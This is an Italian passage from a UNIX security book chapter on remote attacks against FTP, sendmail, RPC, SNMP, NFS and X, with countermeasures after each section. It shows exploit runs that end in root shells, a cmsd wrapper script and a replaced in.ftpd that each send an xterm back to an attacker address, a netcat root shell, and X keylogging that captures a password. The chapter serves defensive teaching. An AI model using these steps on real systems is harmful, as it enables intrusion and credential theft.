- Se il server Web è attivo con le autorizzazioni dell'utente "nobody", modificate i permessi di accesso ai file binari come `telnet`, in modo da impedire l'esecuzione del file a chiunque non ne sia proprietario o non faccia parte di gruppi specifici (per esempio, **`chmod`** `750 telnet`). In questo modo vi assicurerete che solamente gli utenti autorizzati saranno in grado di eseguire `telnet`, impedendone l'esecuzione agli utenti che non dovrebbero mai utilizzare questo programma.
- In alcuni casi è possibile configurare il firewall per impedire le connessioni originate dal server Web o dai sistemi interni. Questo può essere utile, specialmente se esso svolge anche le funzioni di server proxy. Potrebbe essere molto più difficile, anche se non impossibile, avviare una connessione inversa in uscita da un firewall proxy, se richiede una qualche forma di autenticazione dell'utente.

Metodi comuni di attacco remoto

Anche se non siamo in grado di trattare tutti i metodi conosciuti per l'attacco remoto a un server UNIX, a questo punto dovreste avere un'idea ben chiara della modalità che viene impiegata per portare a termine la maggior parte delle intrusioni. Voglia-

mo ora esporre una casistica dei servizi che vengono attaccati con maggiore frequenza, cercando nel contempo di fornire specifiche contromisure per ridurre sensibilmente il rischio di intrusione.

FTP

Diffusione:	*8*
Semplicità:	*7*
Impatto:	*8*
Fattore di rischio:	*8*

FTP (*File Transfer Protocol*) è uno dei protocolli maggiormente utilizzati, che consente di eseguire l'upload e il download di file tra sistemi remoti. FTP è spesso utilizzato per ottenere l'accesso a un sistema remoto, o per memorizzare e conservare abusivamente file illegali. Molti server FTP consentono l'accesso anonimo, abilitando chiunque ad accedere al server senza necessità di autenticazione. Generalmente un utente FTP ha l'accesso a una particolare sezione dell'albero delle directory; in questa situazione, invece, è possibile per un utente anonimo di un server FTP accedere all'intera struttura delle directory: in questo modo un hacker potrebbe ottenere con facilità i delicati file di configurazione del sistema, come per esempio `/etc/passwd`. Per rendere ancora più complicato il quadro, molti server FTP mettono a disposizione directory sulle quali chiunque ha l'accesso in scrittura: questo è indice quasi sicuro dell'approssimarsi di un incidente dovuto all'intrusione di qualche hacker. Un hacker potrebbe essere in grado di posizionare un file `.rhosts` nella directory home di qualche utente, il che gli consente di eseguire il comando `rlogin` per la connessione remota al sistema. Abbiamo già detto che moltissimi server FTP vengono utilizzati da utenti di ogni tipo, anche per conservare software pirata all'interno di directory nascoste. Se il vostro traffico di rete triplica nel giro di uno o due giorni, potete essere sicuri che lo spazio su disco viene utilizzato per ospitare e distribuire gli ultimi programmi "warez".
In aggiunta a questi rischi, associati all'accesso anonimo, i server FTP ne presentano anche altri, dovuti a possibili condizioni di buffer overflow e a ulteriori punti vulnerabili. Uno degli ultimi punti deboli dei server FTP è stato scoperto nei sistemi che utilizzano le versioni wu-ftpd 2.6.0 e precedenti (`ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-2000.02`). La vulnerabilità "site exec" è collegata alla non corretta validazione degli argomenti di diverse funzioni che implementano la funzionalità "site exec", che consente agli utenti connessi a un server FTP di eseguire un insieme di comandi limitato. Tuttavia, è possibile, per un hacker, passare caratteri speciali, costituiti da caratteri ottenuti per conversione da `printf()` (`%f`, `%p`, `%n` e così via) utilizzati per eseguire un codice arbitrario come utente root. Diamo un'occhiata a un attacco di questo tipo lanciato contro un sistema RedHat 6.2 "di serie":

```
[thunder]# wugod -t 192.168.1.10 -s0
Target: 192.168.1.10 (ftp/<shellcode>): RedHat 6.2 (?) with wuftpd
 2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152
loggin into system..
USER ftp
331 Guest login ok, send your complete e-mail address as password.
PASS <shellcode>
230-Next time please use your e-mail address as your password
```

```
230-        for example: joe@thunder
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string
STEP 4 : Ptr address test: 0xbfffb028 (if it is not 0xbfffb028 ^C me now)
STEP 5 : Sending code.. this will take about 10 seconds.
Press ^\ to leave shell
Linux shadow 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)
```

Come dimostrato in precedenza, questo attacco è letale. L'accesso anonimo a un server FTP vulnerabile che supporta "site exec" apre la strada all'accesso come root. Altre falle nella sicurezza delle versioni `ftpd` di derivazione BSD antecedenti al 1993 possono essere trovate all'indirizzo `http://www.cert.org/advisories/CA-2000-13.html`. Questi punti deboli non vengono trattati dettagliatamente, ma sono altrettanto devastanti.

Contromisure per FTP

Sebbene il servizio FTP sia molto utile, la scelta di autorizzare l'accesso anonimo può essere abbastanza rischiosa per la sicurezza del server. Valutate attentamente la necessità di attivare il servizio FTP e soprattutto se consentire l'accesso all'utente anonimo. Molti siti devono consentire l'accesso anonimo via FTP; tuttavia considerate attentamente l'importanza di assicurare la sicurezza del server. Applicate tutte le patch dei fornitori del sistema e dei servizi, e soprattutto eliminate o riducete il più possibile il numero di directory per le quali è autorizzata la scrittura.

sendmail

Diffusione:	*8*
Semplicità:	*5*
Impatto:	*9*
Fattore di rischio:	*7*

Da dove possiamo cominciare? `sendmail` è l'agente per il trasferimento della posta elettronica (MTA), utilizzato da moltissimi sistemi UNIX. `sendmail` è anche uno dei programmi più "vulnerabili" presenti in UNIX. È un programma estendibile, molto configurabile e decisamente complesso. I malfunzionamenti di `sendmail` sono diventati di pubblico dominio nel 1988 e, da allora, sono stati utilizzati per ottenere l'accesso a centinaia di sistemi. In quel periodo ci si chiedeva "Qual è il baco di questa settimana?". Durante gli ultimi anni il programma `sendmail` è stato molto migliorato, anche nelle caratteristiche di sicurezza, ed oggi è costituito da più di 80.000 righe di codice: esistono perciò ancora buone probabilità di trovare altri punti vulnerabili.

Riprendendo quanto abbiamo visto nel Capitolo 3, `sendmail` può essere utilizzato per identificare i nomi utente mediante i comandi `vrfy` ed `expn`. La possibilità di ottenere l'elenco degli utenti definiti nel sistema è di per sé abbastanza pericolosa, ma non espone al rischio di un vero e proprio attacco, cosa che invece è possibile sfruttando altri punti deboli di `sendmail`. Sono state registrate numerose vulnerabilità di `sendmail`, negli ultimi dieci anni, e altre ancora ne verranno individuate. Sono stati

individuati molti punti vulnerabili ad attacchi relativi a condizioni di buffer overflow e di validazione dell'input.

Contromisure per sendmail

La migliore difesa contro gli attacchi a `sendmail` consiste nella disattivazione del servizio, sempre che non abbiate necessità di ricevere posta elettronica dalla rete. Se per la vostra architettura di rete è necessario, invece, attivare il servizio `sendmail`, assicuratevi di utilizzare l'ultima versione disponibile, applicando tutti gli aggiornamenti pubblicati (solitamente disponibili al sito `www.sendmail.org`). Potete attivare altre misure di sicurezza, rimuovendo gli alias dagli appositi file, dal momento che questa funzionalità si è dimostrata essere una falla nella sicurezza del programma. Rintracciate tutti gli alias che puntano a programmi, invece che a nomi utente, e assicuratevi che le loro autorizzazioni siano tali da non permettere agli utenti di apportare modifiche.

Potete anche utilizzare programmi di utilità addizionali, in grado di aumentare la sicurezza di `sendmail`. `smap` e `smapd` vengono distribuiti con il toolkit TIS e sono liberamente disponibili al sito `http://www.tis.com/research/software/`. `smap` viene utilizzato per accettare messaggi dalla rete in modalità sicura: i messaggi vengono poi memorizzati in una particolare directory, che costituisce una coda messaggi. `smapd` controlla periodicamente questa directory e distribuisce i messaggi ai rispettivi utenti, utilizzando `sendmail` o qualche altro programma.

Questo meccanismo scardina la possibilità di connessione diretta tra `sendmail` e ogni utente non autenticato, poiché tutte le connessioni di posta transitano attraverso `smap`, piuttosto che passare direttamente da `sendmail`. Per concludere, considerate la possibilità di utilizzare altri servizi di posta intrinsecamente più sicuri, come `qmail` o `postfix`. `qmail` rappresenta il più moderno sostituto di `sendmail` ed è stato scritto da Dan Bernstein. Uno dei principi su cui è stato progettato è appunto la sicurezza, e fino ad ora non ha smentito questa reputazione (consultate il sito `www.qmail.org`). Anche `postfix`, scritto da Wietse Venema, è un sostituto più sicuro di `sendmail` (consultate il sito `http://www.postfix.com/`).

In aggiunta agli argomenti appena menzionati, spesso `sendmail` viene configurato in modo errato, consentendo la ritrasmissione di pubblicità attraverso il vostro servizio. Nelle versioni di `sendmail` a partire dalla 8.9, è stata abilitata come impostazione predefinita una funzionalità che impedisce la ritrasmissione. Per ulteriori informazioni, vi rimandiamo a `http://www.sendmail.org/tips/relaying.html`.

Servizi RPC (Remote Procedure Call)

Diffusione:	9
Semplicità:	9
Impatto:	10
Fattore di rischio:	9

RPC (*Remote Procedure Call*, invocazione remota di procedure) è un servizio che consente a un programma attivo su un certo computer di avviare il codice in un sistema remoto.

Una delle prime implementazioni di RPC è stata sviluppata da Sun Microsystems e si serviva di un sistema chiamato "rappresentazione esterna dei dati" (XDR). Questa implementazione è stata progettata per dialogare con NIS (*Network Information Sy-*

stem di Sun) e con NFS (*Network File System*). Dopo che Sun Microsystem ha pubblicato questa implementazione di servizi RPC, molti produttori di sistemi UNIX l'hanno adottata: la scelta dello standard RPC rappresenta una buona funzionalità per consentire l'interoperabilità tra sistemi diversi. Quando è stata pubblicata la prima versione dei servizi RPC, erano previsti ben pochi dispositivi di sicurezza. Sun, insieme ad altri produttori, ha rilasciato numerose patch per migliorare progressivamente la sicurezza di tutti i sistemi già installati, ma nonostante questi sforzi RPC soffre ancora per numerosi problemi.

Come già detto nel Capitolo 3, i servizi RPC si registrano sul portmapper, quando vengono avviati. Per comunicare con un servizio RPC è necessario interrogare il portmapper e determinare su quale porta è in ascolto il servizio richiesto. Abbiamo anche visto come ottenere un elenco di servizi RPC attivi, utilizzando `rpcinfo`, oppure con l'opzione `-n` se i servizi del portmapper risiedono su un firewall. Sfortunatamente, moltissimi sistemi UNIX attivano in modalità automatica diversi servizi RPC, all'avvio del server. Per complicare le cose, si aggiunga che molti servizi RPC sono di estrema complessità e sono attivi con i privilegi dell'utente root. Un attacco portato a termine con successo, tramite l'esecuzione di buffer overflow o di validazione dell'input, porta direttamente all'accesso diretto dell'utente root. Le notizie più recenti relative agli attacchi di tipo buffer overflow a RPC più gravi riguardano `rpc.ttdbserverd` e `rpc.cmsd`, e si trovano agli indirizzi `http://www.cert.org/advisories/CA-98.11.tooltalk.html`, `http://www.cert.org/advisories/CA-2002-26.html` e `http://www.cert.org/advisories/CA-99-08-cmsd.html`: entrambi questi servizi RPC fanno parte della piattaforma CDE (*Common Desktop Environment*). Dal momento che questi due servizi sono attivi con le autorizzazioni dell'utente root, l'hacker deve solamente sfruttare la condizione di buffer overflow per costringere il server ad avviare una sessione `xterm` o attivare un'istanza di telnet inverso e il gioco è fatto. Altri servizi RPC che espongono a pericoli sono `rpc.statd` (vedere `http://www.cert.org/advisories/CA-99-05-statd-automountd.html`) e `mountd`, che sono attivi quando viene abilitato NFS (si veda il paragrafo "NFS"). Anche se il portmapper viene bloccato, l'hacker è comunque in grado di effettuare la scansione manuale alla ricerca di servizi RPC (mediante l'opzione `-sR` di `nmap`), che di solito sono attivi alle porte con numerazione più elevata. I servizi finora menzionati sono soltanto un piccolo esempio di tutti i servizi RPC che potrebbero provocare problemi di sicurezza. A causa della natura distribuita delle funzionalità RPC, la situazione è in costante evoluzione, dal punto di vista sia degli attacchi sia delle difese, come mostrato di seguito:

```
[rumble]# cmsd.sh quake 192.168.1.11 2 192.168.1.103
Executing exploit...

rtable_create worked
clnt_call[rtable_insert]: RPC: Unable to receive; errno = Connection reset
by peer
```

Per semplificare questo attacco, è sufficiente un semplice script di shell che invoca l'attacco `cmsd`, come mostrato di seguito.

È necessario conoscere il nome del sistema, nel nostro caso "quake". Vengono forniti: l'indirizzo IP di destinazione di "quake", che è 192.168.1.11, e il tipo di sistema (2), corrispondente a Solaris 2.6. Questo aspetto è critico, perché l'expolit è ritagliato per il singolo sistema operativo. Infine, viene fornito l'indirizzo IP del sistema dell'hacker (192.168.1.103) e inviato in risposta `xterm` (Figura 7.2):

```
#!/bin/sh
if [ $# -lt 4 ]; then
```

```
echo "Rpc.cmsd buffer overflow for Solaris 2.5 & 2.6 7"
echo "If rpcinfo -p target_ip |grep 100068 = true - you win!"
echo "Don't forget to xhost+ the target system"
echo ""
echo "Usage: $0 target_hostname target_ip </ version (1-7)> your_ip"
  exit 1
fi

echo "Executing exploit..."
cmsd  -h $1 -c "/usr/openwin/bin/xterm -display $4:0.0 &" $3 $2
```

```
xterm
# uname -a
SunOS quake 5.6 Generic sun4m sparc SUNW,SPARCstation-20
# id
uid=0(root) gid=0(root)
# 
```

Figura 7.2
xterm è il risultato dell'attacco di rpc.cmsd. Si otterrebbe lo stesso risultato se un hacker eseguisse l'attacco di rpc.ttdbserverd o rpc.stadt da una postazione remota.

Contromisure agli attacchi a RPC

La migliore difesa contro gli attacchi a RPC consiste nella disattivazione di tutti i servizi non assolutamente necessari. Se un servizio RPC è critico per la funzionalità del server, considerate la possibilità di implementare un dispositivo di controllo d'accesso che dia solamente agli utenti autorizzati la possibilità di interrogare le relative porte: in funzione dell'architettura della rete, questa soluzione potrebbe essere però di difficile fattibilità.
Considerate l'opportunità di abilitare l'esecuzione dello stack, solo se il sistema operativo lo permette e, inoltre, valutate la possibilità di impiegare Secure RPC, se è supportato dalla versione di UNIX che utilizzate: esso tenta di fornire un livello di autenticazione aggiuntivo, basato sulla crittografia a chiave asimmetrica pubblica/privata. Secure RPC non è comunque la soluzione di tutti i problemi, visto che molti produttori di sistemi UNIX non hanno adottato questo protocollo: vengono

infatti meno i requisiti di interoperabilità, che sono la caratteristica fondamentale di RPC. Per ultimo, consigliamo ancora una volta di accertarvi di aver applicato tutti gli aggiornamenti proposti dal vostro fornitore. Le informazioni per ognuno dei tipi di vulnerabilità presentati sono disponibili agli indirizzi elencati di seguito:

- **rpc.ttdbserverd** `http://www.cert.org/advisories/CA-98.11.tool-talk.html`;
- **rpc.cmsd** `http://www.cert.org/advisories/CA-99-08-cmsd.html`;
- **rpc.statd** `http://www.cert.org/advisories/CA-99-05-statd-automountd.html`;
- **sadmind** `http://www.cert.org/advisories/CA-20001-11.html`;
- **snmpXdmid** `http://www.cert.org/advisories/CA-20001-05.html`.

Buffer overflow di SNMP

Diffusione:	*8*
Semplicità:	*9*
Impatto:	*8*
Fattore di rischio:	*8*

Il protocollo SNMP (*Simple Network Management Protocol*) è la linfa vitale di molte reti ed è presente praticamente ovunque: esso permette la gestione dei dispositivi (come router, switch e server) sia tra diverse filiali, sia in Internet. Sfortunatamente SNMP non è il protocollo più sicuro che esista: peggio ancora, sono state riscontrate diverse vulnerabilità agli attacchi di tipo buffer overflow, su dozzine di produttori e su centinaia di piattaforme differenti. Molto del lavoro di ricerca per risolvere i problemi legati a questo tipo di vulnerabilità è stato svolto dal progetto Protos dell'università di Oulu (`http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/snmpv1/`), che ha rilasciato una serie di suite di programmi di test per la verifica dei sistemi. Obiettivo primario di questo lavoro è stata l'identificazione delle vulnerabilità del protocollo SNPMv1 relative alla gestione dei messaggi di trap (inviati dagli agenti agli amministratori) e di quelli di richiesta (inviati dagli amministratori agli agenti): tali punti deboli possono essere sfruttati per generare una condizione di DoS (*Denial of Service*) tale da permettere a un hacker di eseguire comandi da remoto. L'esempio che segue descrive come un hacker sia in grado di compromettere una versione non aggiornata (quindi vulnerabile) della piattaforma OpenBSD:

```
[wave]$ ./ucd-snmpd-cs 10.0.1.1 161
$ nc 10.0.1.1 2834
id
uid=0(root) gid=0(root) group=0(root)
```

Come si può vedere, effettuare l'attacco di questa vulnerabilità di buffer overflow e ottenere l'accesso al sistema con i permessi di root è molto semplice. Se per noi è stato così facile approfittare di questo punto debole, potete immaginare quanto poco impegnativo possa essere per i malintenzionati mettere gli occhi sui dispositivi SNMP di questo tipo!

Contromisure al buffer overflow di SNMP

Per limitare l'esposizione dei sistemi causata da questa vulnerabilità possono essere impiegate diverse contromisure. È sempre consigliabile disabilitare il protocollo SNMP da tutti i dispositivi che non ne hanno una reale necessità, per individuare i quali si possono utilizzare programmi come SNScan (un tool freeware distribuito da Foundstone sul sito Web `http://www.foundstone.com`). Un'altra possibile contromisura consiste nel mantenere aggiornati con le patch più recenti dei produttori tutti i dispositivi firmware che utilizzano una versione vulnerabile di SNMP, dei quali potete trovare un elenco esauriente alla pagina Web `http://www.cert.org/advisories/CA-2002-03.html`. Oltre a questo, dovreste anche cambiare le stringhe di default relative alle password dei gruppi del protocollo SNMP, sia pubblici sia privati. Infine è opportuno applicare ai dispositivi che utilizzano SNMP un filtraggio di rete che consenta l'accesso alla sola macchina dell'amministratore. La realizzazione di quest'ultima contromisura non è così semplice, soprattutto in contesti aziendali molto estesi, e potrebbe avere costi piuttosto elevati.

NFS

Diffusione:	*8*
Semplicità:	*9*
Impatto:	*8*
Fattore di rischio:	*8*

Per citare Sun Microsystems, "il computer è la rete"; infatti, senza una connessione in rete, un singolo computer è infinitamente meno potente e versatile. Questo è forse il motivo per cui NFS (*Network File System*) è uno dei più popolari e utilizzati file system di rete disponibili. NFS consente l'accesso trasparente a file e directory di un sistema remoto come se fossero presenti in locale. Le versioni 1 e 2 di NFS erano state sviluppate da Sun Microsystems e si sono evolute considerevolmente. Al momento, è disponibile in versione 3, e viene utilizzato da tutte le maggiori distribuzioni di UNIX.

A questo punto dobbiamo piantare qualche bandierina rossa per qualunque sistema che consenta l'accesso remoto a un file system esportato. Ci sono alte probabilità che si faccia abuso di NFS, e questo è confermato dal fatto che è uno dei più comuni obiettivi di attacchi a UNIX. Prima di tutto, sono state evidenziate molte condizioni di buffer overflow relative a `mountd`, il server NFS; inoltre, il servizio NFS si basa su RPC e può essere ingannato con facilità per consentire a un hacker di eseguire il `mount` di un file system remoto.

Il segreto della sicurezza di NFS è un oggetto dati conosciuto come *file handle*. Il file handle è una struttura dati impiegata per identificare in modo univoco ogni file o directory presente sul server remoto: se il file handle viene intercettato (oppure indovinato per tentativi), un hacker può facilmente ottenere l'accesso ad esso da una postazione remota.

Il tipo di attacco a NFS più comune si basa su un'errata configurazione del servizio, che consente di esportare il file system al gruppo Everyone: grazie a questo, qualunque utente remoto è in grado di accedere al file system senza necessità di autenticazione. Questo tipo di attacco è più che altro dovuto alla pigrizia o alla mancanza di conoscenze degli amministratori di sistema, e purtroppo è molto frequente. Un

hacker non ha la necessità di effettuare intrusioni sul sistema remoto, in quanto è sufficiente eseguire il `mount` del file system e saccheggiarne il contenuto di proprio interesse. Spesso le home directory degli utenti vengono esportate in questo modo e moltissimi file interessanti (per esempio interi database) sono disponibili e di pubblico dominio. A volte addirittura l'intera directory principale del sistema "/" viene prelevata con accesso libero! Prendiamo in considerazione qualche esempio e discutiamo alcuni strumenti che consentono di analizzare NFS.
Il nostro sistema target viene analizzato per scoprire se NFS è attivo e sono stati esportati file system:

```
[tsunami]# rpcinfo -p quake

   program vers proto   port
    100000    4   tcp    111  rpcbind
    100000    3   tcp    111  rpcbind
    100000    2   tcp    111  rpcbind
    100000    4   udp    111  rpcbind
    100000    3   udp    111  rpcbind
    100000    2   udp    111  rpcbind
    100235    1   tcp  32771
    100068    2   udp  32772
    100068    3   udp  32772
    100068    4   udp  32772
    100068    5   udp  32772
    100024    1   udp  32773  status
    100024    1   tcp  32773  status
    100083    1   tcp  32772
    100021    1   udp   4045  nlockmgr
    100021    2   udp   4045  nlockmgr
    100021    3   udp   4045  nlockmgr
    100021    4   udp   4045  nlockmgr
    100021    1   tcp   4045  nlockmgr
    100021    2   tcp   4045  nlockmgr
    100021    3   tcp   4045  nlockmgr
    100021    4   tcp   4045  nlockmgr
    300598    1   udp  32780
    300598    1   tcp  32775
 805306368    1   udp  32780
 805306368    1   tcp  32775
    100249    1   udp  32781
    100249    1   tcp  32776
1342177279    4   tcp  32777
1342177279    1   tcp  32777
1342177279    3   tcp  32777
1342177279    2   tcp  32777
    100005    1   udp  32845  mountd
    100005    2   udp  32845  mountd
    100005    3   udp  32845  mountd
    100005    1   tcp  32811  mountd
    100005    2   tcp  32811  mountd
    100005    3   tcp  32811  mountd
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100227    2   udp   2049  nfs_acl
    100227    3   udp   2049  nfs_acl
```

```
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100227    2   tcp   2049  nfs_acl
    100227    3   tcp   2049  nfs_acl
```

Interrogando il `portmapper`, possiamo vedere che sono attivi i servizi `mountd` e `nfs`: da questo possiamo concludere che c'è la possibilità che qualche file system sia stato esportato:

```
[tsunami]# showmount -e quake
Export list for quake:
/ (everyone)
/usr (everyone)
```

Il risultato del comando `showmount` indica che le directory `/` e `/usr` sono esportabili, con accesso a chiunque: questo rappresenta un enorme rischio per la sicurezza del sistema. Qualunque hacker potrebbe semplicemente eseguire il comando `mount` `/` oppure `/usr`, per aver accesso alle cartelle `/` e `/usr`, soggette alle autorizzazioni assegnate a ciascuna directory e file. Il comando `mount` è disponibile nella maggior parte delle distribuzioni UNIX, anche se non è versatile come altri programmi. Per comprendere meglio le opzioni per esso disponibili, potete utilizzare il comando `man mount`, che visualizza la pagina di manuale relativa alla versione a vostra disposizione:

```
[tsunami]# mount quake:/ /mnt
```

Uno strumento più adatto per l'esplorazione di NFS è il programma di utilità `nfsshell` scritto da Leendert van Doorn, disponibile al sito `ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz`. Il pacchetto `nfsshell` contiene un potente client, chiamato `nfs`, che opera allo stesso modo di un client FTP e consente la manipolazione remota del file system. Il comando `nfs` è fornito di diverse opzioni, che vale la pena illustrare:

```
[tsunami]# nfs
nfs> help
host <host> - set remote host name
uid [<uid> [<secret-key>]] - set remote user id
gid [<gid>] - set remote group id
cd [<path>] - change remote working directory
lcd [<path>] - change local working directory
cat <filespec> - display remote file
ls [-l] <filespec> - list remote directory
get <filespec> - get remote files
df - file system information
rm <file> - delete remote file
ln <file1> <file2> - link file
mv <file1> <file2> - move file
mkdir <dir> - make remote directory
rmdir <dir> - remove remote directory
chmod <mode> <file> - change mode
chown <uid>[.<gid>] <file> -  change owner
put <local-file> [<remote-file>] - put file
mount [-upTU] [-P port] <path> - mount file system
umount - umount remote file system
umountall - umount all remote file systems
```

```
export - show all exported file systems
dump - show all remote mounted file systems
status - general status report
help - this help message
quit - its all in the name
bye - good bye
handle [<handle>] - get/set directory file handle
mknod <name> [b/c major minor] [p] - make device
```

Innanzitutto dobbiamo dire a `nfs` qual è l'host di cui vogliamo eseguire il mount:

```
nfs> host quake
Using a privileged port (1022)
Open quake (192.168.1.10) TCP
```

Possiamo ottenere un elenco dei file system esportati:

```
nfs> export
Export list for quake:
/ everyone
/usr  everyone
```

A questo punto possiamo eseguire **mount /** per accedere al file system:

```
nfs> mount /
Using a privileged port (1021)
Mount '/', TCP, transfer size 8192 bytes.
```

Possiamo eseguire il controllo di stato della connessione, per determinare l'UID utilizzato per l'operazione di `mount` del file system:

```
nfs> status
User id      : -2
Group id     : -2
Remote host  : 'quake'
Mount path   : '/'
Transfer size: 8192
```

Abbiamo eseguito `mount` su /, e i nostri UID e GID sono uguali a -2. Per motivi di sicurezza, se si esegue il mount di un file system remoto come root, l'UID e il GID sono comunque diversi da 0. In molti casi (senza l'utilizzo di speciali opzioni), è possibile eseguire il mount di un file system con qualunque UID e GID che non sia 0 o root. Dal momento che abbiamo montato l'intero file system, possiamo visualizzare facilmente il contenuto del file `/etc/passwd`:

```
nfs> cd /etc

nfs> cat passwd
root:x:0:1:Super-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
smtp:x:0:0:Mail Daemon User:/:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
```

```
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x Nobody:/:
gk:x:1001:10::/export/home/gk:/bin/sh
sm:x:1003:10::/export/home/sm:/bin/sh
```

La visualizzazione del file `/etc/passwd` consente di ottenere l'elenco dei nomi utente e degli user ID associati. Gli hash delle password sono contenuti nel file `/etc/shadow`, per cui non è possibile procedere con il crack delle password. Dal momento che questa informazione non è utile per ottenere le password e non possiamo fare il `mount` del file system come utente root, dobbiamo determinare quali altri utenti godano di accesso privilegiato.
L'utente `daemon` promette bene, ma `bin` (UID 2) è la scelta migliore poiché in molti sistemi tale utente è il proprietario dei file eseguibili. Se l'hacker ottiene l'accesso ai file eseguibili via NFS o in altro modo, la maggior parte dei sistemi può ritenersi battuta. Tentiamo di applicare il `mount` alla directory `/usr`, e di modificare i nostri UID e GID, per tentare l'accesso ai file binari:

```
nfs> mount /usr
Using a privileged port (1022)
Mount '/usr', TCP, transfer size 8192 bytes.
nfs> uid 2
nfs> gid 2
nfs> status
User id       : 2
Group id      : 2
Remote host   : 'quake'
Mount path    : '/usr'
Transfer size: 8192
```

A questo punto abbiamo le autorizzazioni di `bin` sul sistema remoto. Nel nostro esempio, i file system non sono stati esportati specificando speciali opzioni che potrebbero limitare la possibilità dell'utente `bin` di creare o modificare file. A questo punto è sufficiente avviare una sessione `xterm`, oppure creare un canale di ritorno al nostro sistema per ottenere l'accesso all'obiettivo. Creiamo lo script seguente sul nostro sistema, e assegnamogli il nome in `.ftpd`:

```
#!/bin/sh
/usr/openwin/bin/xterm -display 10.10.10.10:0.0 &
```

Sul sistema target, invece, eseguiamo il comando `cd`, per spostarci in /`sbin`, e sostituiamo la versione di `in.ftpd` con quella che abbiamo appena creato:

```
nfs> cd /sbin
nfs> put in.ftpd
```

Per finire, permettiamo al server attaccato di connettersi al server X del nostro sistema con il comando `xhost`, ed eseguiamo il seguente comando dal nostro sistema:

```
[tsunami]# xhost +quake
quake being added to access control list
[tsunami]# ftp quake
Connected to quake.
```

Come risultato, sul nostro sistema viene visualizzata una shell `xterm` autorizzata all'utente root. Dal momento che lo script `in.ftpd` viene avviato da `inetd` con i privilegi dell'utente root, l'esecuzione dello script ha l'effetto di garantire un accesso istantaneo come utente root. Notate che siamo stati in grado di sovrascrivere il file `in.ftpd` perché le sue autorizzazioni erano state impostate in maniera non corretta: il file era di proprietà dell'utente `bin` anziché dell'utente `root`, inoltre il proprietario aveva anche i diritti di scrittura:

```
# id
uid=0(root) gid=0(root)
#
```

Contromisure agli attacchi a NFS

Se NFS non è necessario, dev'essere disattivato insieme a tutti i servizi correlati (per esempio `mountd`, `statd` e `lockd`). Attivate i controlli di accesso su server e client per consentire l'accesso solamente agli utenti autorizzati. Generalmente, `/etc/exports` oppure `/etc/dfs/dfstab` o altri file simili controllano la modalità di esportazione dei file system, e consentono l'impostazione di tutte le opzioni di sicurezza aggiuntive: alcune opzioni permettono l'accesso solamente a specifici host o a gruppi di computer, altre attivano le impostazioni in sola lettura o consentono di impedire la gestione dei bit SUID. Ciascuna implementazione di NFS è leggermente differente dalle altre, per cui è necessario consultare la documentazione fornita o le specifiche pagine man. Inoltre, evitate sempre di includere l'indirizzo IP locale del server o *localhost* nell'elenco di sistemi cui è consentito il mount dei file system. Alcune versioni più vecchie di `portmapper` consentono di utilizzare il server stesso come proxy per tentare il mount come se fosse locale. Se al sistema viene concessa la possibilità di eseguire il mount dei file system esportati, l'hacker potrebbe inviare pacchetti NFS al portmapper del sistema remoto, che a sua volta li dirotta a *localhost*. In questo modo la richiesta di mount appare come generata dal server locale stesso, che essendo abilitato procederebbe senza indugio. Per finire, ancora una volta vi consigliamo di mantenere sempre il sistema aggiornato con le ultime patch disponibili.

Carenze di sicurezza di X

Diffusione:	*8*
Semplicità:	*9*
Impatto:	*5*
Fattore di rischio:	*7*

Il sistema X Window consente di accedere a una miriade di funzioni che visualizzano più programmi concorrenti sullo stesso display grafico. Il maggiore problema di X è che il suo approccio alla sicurezza è del tipo tutto o niente. Una volta che un client è autorizzato all'accesso a X, può succedere di tutto: può catturare la pressione dei tasti della console, chiudere altre finestre, catturarle per visualizzarle altrove e addirittura rimappare la tastiera per consentire l'esecuzione di programmi indipendentemente da quale tasto venga effettivamente premuto. La maggior parte dei problemi è generata da una debole politica di sicurezza, o dalla semplice pigrizia da parte degli amministratori di sistema. La più semplice e popolare forma di controllo di accesso a X è l'autenticazione `xhost`, che consente di verificare l'accesso in base all'indirizzo IP del chiamante e rappresenta la forma meno evoluta di controllo di accesso a X. Per co-

modità molti amministratori di sistema utilizzano il comando `xhost +`, che consente l'accesso non autenticato al server X da parte di qualunque utente locale o remoto ("+" è il carattere jolly che indica qualunque indirizzo IP). Molti server X basati su PC si servono in modalità predefinita del comando `xhost +`, senza preoccuparsi degli utenti che si connetteranno. Qualunque hacker potrebbe utilizzare questa incontestabile debolezza per compromettere la sicurezza del sistema oggetto dell'attacco.
Uno dei migliori programmi che consente di individuare un server X in cui è abilitato `xhost +` è `xscan`, che esegue una scansione dell'intera sottorete per cercare qualche server X e registrare l'attività della tastiera in un file di log:

```
[tsunami]$ xscan quake
Scanning hostname quake ...
Connecting to quake (192.168.1.10) on port 6000...
Connected.
Host quake is running X.
Starting keyboard logging of host quake:0.0 to file KEYLOGquake:0.0...
```

Da questo momento, qualunque tasto premuto alla console viene catturato e scritto nel file `KEYLOG.quake`:

```
[tsunami]$ tail -f KEYLOG.quake:0.0
su -
[Shift_L]Iamowned[Shift_R]!
```

Operando sul file di log con il veloce comando `tail`, è possibile rivelare l'attività della tastiera della console in tempo reale. Nel nostro esempio l'utente ha utilizzato il comando `su` e di seguito ha specificato la password "Iamowned!". `xscan` è in grado di registrare anche la pressione dei tasti SHIFT.
Per un hacker è anche facile ottenere la visualizzazione sul proprio sistema di una specifica finestra in esecuzione sul server. Innanzitutto è necessario ottenere l'ID esadecimale della finestra con il comando `xlwins`:

```
[tsunami]# xlswins -display quake:0.0 ¦grep -i netscape
  0x1000001  (Netscape)
